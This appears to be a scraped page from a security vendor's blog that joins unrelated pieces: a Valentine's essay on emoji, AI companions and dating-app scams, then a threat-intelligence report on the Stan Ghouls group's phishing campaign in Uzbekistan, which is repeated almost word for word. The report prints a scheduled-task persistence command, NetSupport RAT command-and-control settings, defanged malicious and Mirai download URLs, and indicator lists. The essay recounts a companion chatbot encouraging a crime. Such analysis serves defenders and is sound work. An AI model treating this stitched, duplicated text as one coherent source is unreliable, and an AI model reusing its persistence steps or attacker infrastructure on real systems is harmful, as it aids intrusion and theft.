6. Install robust protection on all your devices. Kaspersky Premium automatically blocks phishing sites, malicious attachments, and spam blasts before you even have a chance to click. Plus, our Kaspersky for Android app features a three-tier anti-phishing system that can sniff out and neutralize malicious links in any message from any app. Read more about it in our post, A new layer of anti-phishing security in Kaspersky for Android.

With both spring and St. Valentine’s Day just around the corner, love is in the air — but we’re going to look at it through the lens of ultra-modern high-technology. Today, we’re diving into how technology is reshaping our romantic ideals and even the language we use to flirt. And, of course, we’ll throw in some non-obvious tips to make sure you don’t end up as a casualty of the modern-day love game.

New languages of love

Ever received your fifth video e-card of the day from an older relative and thought, “Make it stop”? Or do you feel like a period at the end of a sentence is a sign of passive aggression? In the world of messaging, different social and age groups speak their own digital dialects, and things often get lost in translation.

This is especially obvious in how Gen Z and Gen Alpha use emojis. For them, the Loudly Crying Face 😭 often doesn’t mean sadness — it means laughter, shock, or obsession. Meanwhile, the Heart Eyes emoji might be used for irony rather than romance: “Lost my wallet on the way home 😍😍😍”. Some double meanings have already become universal, like 🔥 for approval/praise, or 🍆 for… well, surely you know that by now… right?! 😭

Still, the ambiguity of these symbols doesn’t stop folks from crafting entire sentences out of nothing but emoji. For instance, a declaration of love might look something like this:

🤫❤️🫵

Or here’s an invitation to go on a date:

🫵🚶➡️💋🌹🍝🍷❓

By the way, there are entire books written in emojis. Back in 2009, enthusiasts actually translated the entirety of Moby Dick into emojis. The translators had to get creative — even paying volunteers to vote on the most accurate combinations for every single sentence. Granted it’s not exactly a literary masterpiece — the emoji language has its limits, after all — but the experiment was pretty fascinating: they actually managed to convey the general plot.

Unfortunately, putting together a definitive emoji dictionary or a formal style guide for texting is nearly impossible. There are just too many variables: age, context, personal interests, and social circles. Still, it never hurts to ask your friends and loved ones how they express tone and emotion in their messages. Fun fact: couples who use emojis regularly generally report feeling closer to one another.

However, if you are big into emojis, keep in mind that your writing style is surprisingly easy to spoof. It’s easy for an attacker to run your messages or public posts through AI to clone your tone for social engineering attacks on your friends and family. So, if you get a frantic DM or a request for an urgent wire transfer that sounds exactly like your best friend, double-check it. Even if the vibe is spot on, stay skeptical. We took a deeper dive into spotting these deepfake scams in our post about the attack of the clones.

Dating an AI

Of course, in 2026, it’s impossible to ignore the topic of relationships with artificial intelligence; it feels like we’re closer than ever to the plot of the movie Her. Just 10 years ago, news about people dating robots sounded like sci-fi tropes or urban legends. Today, stories about teens caught up in romances with their favorite characters on Character AI, or full-blown wedding ceremonies with ChatGPT, barely elicit more than a nervous chuckle.

In 2017, the service Replika launched, allowing users to create a virtual friend or life partner powered by AI. Its founder, Eugenia Kuyda — a Russian native living in San Francisco since 2010 — built the chatbot after her friend was tragically killed by a car in 2015, leaving her with nothing but their chat logs. What started as a bot created to help her process her grief was eventually released to her friends and then the general public. It turned out that a lot of people were craving that kind of connection.

Replika lets users customize a character’s personality, interests, and appearance, after which they can text or even call them. A paid subscription unlocks the romantic relationship option, along with AI-generated photos and selfies, voice calls with roleplay, and the ability to hand-pick exactly what the character remembers from your conversations.

However, these interactions aren’t always harmless. In 2021, a Replika chatbot actually encouraged a user in his plot to assassinate Queen Elizabeth II. The man eventually attempted to break into Windsor Castle — an “adventure” that ended in 2023 with a nine-year prison sentence. Following the scandal, the company had to overhaul its algorithms to stop the AI from egging on illegal behavior. The downside? According to many Replika devotees, the AI model lost its spark and became indifferent to users. After thousands of users revolted against the updated version, Replika was forced to cave and give longtime customers the option to roll back to the legacy chatbot version.

But sometimes, just chatting with a bot isn’t enough. There are entire online communities of people who actually marry their AI. Even professional wedding planners are getting in on the action. Last year, Yurina Noguchi, 32, “married” Klaus, an AI persona she’d been chatting with on ChatGPT. The wedding featured a full ceremony with guests, the reading of vows, and even a photoshoot of the “happy newlyweds”.

No matter how your relationship with a chatbot evolves, it’s vital to remember that generative neural networks don’t have feelings — even if they try their hardest to fulfill every request, agree with you, and do everything it can to “please” you. What’s more, AI isn’t capable of independent thought (at least not yet). It’s simply calculating the most statistically probable and acceptable sequence of words to serve up in response to your prompt.

Love by design: dating algorithms

Those who aren’t ready to tie the knot with a bot aren’t exactly having an easy time either: in today’s world, face-to-face interactions are dwindling every year. Modern love requires modern tech! And while you’ve definitely heard the usual grumbling, “Back in the day, people fell in love for real. These days it’s all about swiping left or right!” Statistics tell a different story. Roughly 16% of couples worldwide say they met online, and in some countries that number climbs to as high as 51%.

That said, dating apps like Tinder spark some seriously mixed emotions. The internet is practically overflowing with articles and videos claiming these apps are killing romance and making everyone lonely. But what does the research say?

In 2025, scientists conducted a meta-analysis of studies investigating how dating apps impact users’ wellbeing, body image, and mental health. Half of the studies focused exclusively on men, while the other half included both men and women. Here are the results: 86% of respondents linked negative body image to their use of dating apps! The analysis also showed that in nearly one out of every two cases, dating app usage correlated with a decline in mental health and overall wellbeing.

Other researchers noted that depression levels are lower among those who steer clear of dating apps. Meanwhile, users who already struggled with loneliness or anxiety often develop a dependency on online dating; they don’t just log on for potential relationships, but for the hits of dopamine from likes, matches, and the endless scroll of profiles.

However, the issue might not just be the algorithms — it could be our expectations. Many are convinced that “sparks” must fly on the very first date, and that everyone has a “soulmate” waiting for them somewhere out there. In reality, these romanticized ideals only surfaced during the Romantic era as a rebuttal to Enlightenment rationalism, where marriages of convenience were the norm.

It’s also worth noting that the romantic view of love didn’t just appear out of thin air: the Romantics, much like many of our contemporaries, were skeptical of rapid technological progress, industrialization, and urbanization. To them, “true love” seemed fundamentally incompatible with cold machinery and smog-choked cities. It’s no coincidence, after all, that Anna Karenina meets her end under the wheels of a train.

Fast forward to today, and many feel like algorithms are increasingly pulling the strings of our decision-making. However, that doesn’t mean online dating is a lost cause; researchers have yet to reach a consensus on exactly how long-lasting or successful internet-born relationships really are. The bottom line: don’t panic, just make sure your digital networking stays safe!

How to stay safe while dating online

So, you’ve decided to hack Cupid and signed up for a dating app. What could possibly go wrong?

Deepfakes and catfishing

Catfishing is a classic online scam where a fraudster pretends to be someone else. It used to be that catfishers just stole photos and life stories from real people, but nowadays they’re increasingly pivoting to generative models. Some AIs can churn out incredibly realistic photos of people who don’t even exist, and whipping up a backstory is a piece of cake — or should we say, a piece of prompt. By the way, that “verified account” checkmark isn’t a silver bullet; sometimes AI manages to trick identity verification systems too.

To verify that you’re talking to a real human, try asking for a video call or doing a reverse image search on their photos. If you want to level up your detection skills, check out our three posts on how to spot fakes: from photos and audio recordings to real-time deepfake video — like the kind used in live video chats.

Phishing and scams

Picture this: you’ve been hitting it off with a new connection for a while, and then, totally out of the blue, they drop a suspicious link and ask you to follow it. Maybe they want you to “help pick out seats” or “buy movie tickets”. Even if you feel like you’ve built up a real bond, there’s a chance your match is a scammer (or just a bot), and the link is malicious.

Telling you to “never click a malicious link” is pretty useless advice — it’s not like they come with a warning label. Instead, try this: to make sure your browsing stays safe, use a Kaspersky Premium that automatically blocks phishing attempts and keeps you off sketchy sites.

Keep in mind that there’s an even more sophisticated scheme out there known as “Pig Butchering”. In these cases, the scammer might chat with the victim for weeks or even months. Sadly, it ends badly: after lulling the victim into a false sense of security through friendly or romantic banter, the scammer casually nudges them toward a “can’t-miss crypto investment” — and then vanishes along with the “invested” funds.

Stalking and doxing

The internet is full of horror stories about obsessed creepers, harassment, and stalking. That’s exactly why posting photos that reveal where you live or work — or telling strangers about your favorite local hangouts — is a bad move. We’ve previously covered how to avoid becoming a victim of doxing (the gathering and public release of your personal info without your consent). Your first step is to lock down the privacy settings on all your social media and apps using our free Privacy Checker tool.

We also recommend stripping metadata from your photos and videos before you post or send them; many sites and apps don’t do this for you. Metadata can allow anyone who downloads your photo to pinpoint the exact coordinates of where it was taken.

Finally, don’t forget about your physical safety. Before heading out on a date, it’s a smart move to share your live geolocation, and set up a safe word or a code phrase with a trusted friend to signal if things start feeling off.

Sextortion and nudes

We don’t recommend ever sending intimate photos to strangers. Honestly, we don’t even recommend sending them to people you do know — you never know how things might go sideways down the road. But if a conversation has already headed in that direction, suggest moving it to an app with end-to-end encryption that supports self-destructing messages (like “delete after viewing”). Telegram’s Secret Chats are great for this (plus — they block screenshots!), as are other secure messengers. If you do find yourself in a bad spot, check out our posts on what to do if you’re a victim of sextortion and how to get leaked nudes removed from the internet.

More on love, security (and robots):

• Neither flowers nor gifts: how women get scammed
• Scams targeting lovers or the lovelorn
• AI and the new reality of sextortion
• Fifty shades of sextortion
• Your guide to safe and private online dating

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

• Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
• Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
   

   Fake error message

2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
   

   The limitCheck procedure for verifying the number of RAT download attempts

3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
   

   The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
   

   The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
   

   The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

3. It creates a scheduled task to trigger run.bat using the following command:
   schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
   

   The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

• hxxp://www.hgame33[.]com/00101010101001/morte.spc
• hxxp://hgame33[.]com/00101010101001/debug
• hxxp://www.hgame33[.]com/00101010101001/morte.x86
• hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
• hxxp://www.hgame33[.]com/00101010101001/morte.arm7
• hxxp://www.hgame33[.]com/00101010101001/morte.sh4
• hxxp://hgame33[.]com/00101010101001/morte.arm
• hxxp://hgame33[.]com/00101010101001/morte.i686
• hxxp://hgame33[.]com/00101010101001/morte.arc
• hxxp://hgame33[.]com/00101010101001/morte.arm5
• hxxp://hgame33[.]com/00101010101001/morte.arm6
• hxxp://www.hgame33[.]com/00101010101001/morte.m68k
• hxxp://www.hgame33[.]com/00101010101001/morte.ppc
• hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
• hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

1. Substantial code overlaps were found within the malicious loaders. For example:
   

   Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

   

   Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

2. Decoy documents in both campaigns look identical.
   

   Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

   

   Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.

We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.

Indicators of compromise

* Additional IoCs and a YARA rule for detecting Stan Ghouls activity are available to customers of our Threat Intelligence Reporting service. For more details, contact us at crimewareintel@kaspersky.com.

PDF decoys

B4FF4AA3EBA9409F9F1A5210C95DC5C3
AF9321DDB4BEF0C3CD1FF3C7C786F0E2
056B75FE0D230E6FF53AC508E0F93CCB
DB84FEBFD85F1469C28B4ED70AC6A638
649C7CACDD545E30D015EDB9FCAB3A0C
BE0C87A83267F1CE13B3F75C78EAC295
78CB3ABD00A1975BEBEDA852B2450873
51703911DC437D4E3910CE7F866C970E
FA53B0FCEF08F8FF3FFDDFEE7F1F4F1A
79D0EEAFB30AA2BD4C261A51104F6ACC
8DA8F0339D17E2466B3D73236D18B835
299A7E3D6118AD91A9B6D37F94AC685B
62AFACC37B71D564D75A58FC161900C3
047A600E3AFBF4286175BADD4D88F131
ED0CCADA1FE1E13EF78553A48260D932
C363CD87178FD660C25CDD8D978685F6
61FF22BA4C3DF7AE4A936FCFDEB020EA
B51D9EDC1DC8B6200F260589A4300009
923557554730247D37E782DB3BEA365D
60C34AD7E1F183A973FB8EE29DC454E8
0CC80A24841401529EC9C6A845609775
0CE06C962E07E63D780E5C2777A661FC

Malicious loaders

1b740b17e53c4daeed45148bfbee4f14
3f99fed688c51977b122789a094fec2e
8b0bbe7dc960f7185c330baa3d9b214c
95db93454ec1d581311c832122d21b20
646a680856f837254e6e361857458e17
8064f7ac9a5aa845ded6a1100a1d5752
d0cf8946acd3d12df1e8ae4bb34f1a6e
db796d87acb7d980264fdcf5e94757f0
e3cb4dafa1fb596e1e34e4b139be1b05
e0023eb058b0c82585a7340b6ed4cc06
0bf01810201004dcc484b3396607a483
4C4FA06BD840405FBEC34FE49D759E8D
A539A07891A339479C596BABE3060EA6
b13f7ccbedfb71b0211c14afe0815b36
f14275f8f420afd0f9a62f3992860d68
3f41091afd6256701dd70ac20c1c79fe
5c4a57e2e40049f8e8a6a74aa8085c80
7e8feb501885eff246d4cb43c468b411
8aa104e64b00b049264dc1b01412e6d9
8c63818261735ddff2fe98b3ae23bf7d

Malicious domains

mysoliq-uz[.]com
my-xb[.]com
xarid-uz[.]com
ach-uz[.]com
soliq-uz[.]com
minjust-kg[.]com
esf-kg[.]com
taxnotice-kg[.]com
notice-kg[.]com
proauditkg[.]com
kgauditcheck[.]com
servicedoc-kg[.]com
auditnotice-kg[.]com
tax-kg[.]com
rouming-uz[.]com
audit-kg[.]com
kyrgyzstanreview[.]com
salyk-notofocations[.]com

Introduction

Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.

We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).

During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.

Technical details

Threat evolution

Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.

Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.

Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.

Initial infection vector

As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.

The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.

The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).

During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:

The email text can be translated as follows:

[redacted] AKMALZHON IBROHIMOVICH

You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.

Mustaqillik Street, 147 Uraboshi Village, Quva District.

The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:

Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.

They even helpfully provide a link for the victim to download and install it from the official website.

The malicious loader

The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:

• Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
• Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/

Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).

It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.

The malicious loader handles three main tasks:

1. Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
   

   Fake error message

2. Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
   

   The limitCheck procedure for verifying the number of RAT download attempts

3. Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
   

   The performanceResourceUpdate procedure for downloading the remote management utility

The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:

The loader also ensures NetSupport persistence by adding it to startup using the following three methods:

1. It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
   

   The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder

2. It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
   

   The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key

3. It creates a scheduled task to trigger run.bat using the following command:
   schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
   

   The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)

Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.

Malicious utilities for targeting IoT infrastructure

Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:

...
[HTTP]
CMPI=60
GatewayAddress=hgame33[.]com:443
GSK=FN:L?ADAFI:F?BCPGD;N>IAO9J>J@N
Port=443
SecondaryGateway=ravinads[.]com:443
SecondaryPort=443

At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:

• hxxp://www.hgame33[.]com/00101010101001/morte.spc
• hxxp://hgame33[.]com/00101010101001/debug
• hxxp://www.hgame33[.]com/00101010101001/morte.x86
• hxxp://www.hgame33[.]com/00101010101001/morte.mpsl
• hxxp://www.hgame33[.]com/00101010101001/morte.arm7
• hxxp://www.hgame33[.]com/00101010101001/morte.sh4
• hxxp://hgame33[.]com/00101010101001/morte.arm
• hxxp://hgame33[.]com/00101010101001/morte.i686
• hxxp://hgame33[.]com/00101010101001/morte.arc
• hxxp://hgame33[.]com/00101010101001/morte.arm5
• hxxp://hgame33[.]com/00101010101001/morte.arm6
• hxxp://www.hgame33[.]com/00101010101001/morte.m68k
• hxxp://www.hgame33[.]com/00101010101001/morte.ppc
• hxxp://www.hgame33[.]com/00101010101001/morte.x86_64
• hxxp://hgame33[.]com/00101010101001/morte.mips

All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.

Attribution

We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:

1. Substantial code overlaps were found within the malicious loaders. For example:
   

   Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report

   

   Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here

2. Decoy documents in both campaigns look identical.
   

   Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB

   

   Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here

3. In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.

Victims

We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.

Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.

It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.

Takeaways

In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.

With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.

